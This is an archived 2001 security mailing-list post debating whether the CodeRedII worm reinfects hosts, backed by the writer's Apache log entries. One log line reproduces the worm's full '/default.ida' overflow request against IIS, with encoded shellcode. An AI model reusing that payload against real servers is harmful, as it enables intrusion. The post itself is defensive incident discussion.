NOW: CodeRedII (this name is easily mistaken with CRv2, so i would suppose another name: i stared calling it ida_root since my first analysis on 5th aug, 7:34 GMT) this worm alway only infects one host _once_. it checks for double infection. it could generate the same ip address again in it's PRNG but the chance this happening is near 0.
you would think it should be near 0, but unless im mistaken this should be CR II correct? x.x.x.x - - [06/Aug/2001:09:18:20 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 278 x.x.x.x - - [06/Aug/2001:09:18:23 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:18:37 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:18:37 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:23:13 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:23:44 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:23:44 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:23:53 -0500] <snip> x.x.x.x - - [06/Aug/2001:09:23:57 -0500] <snip> all from the same ip address out of my apache logs. ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service.
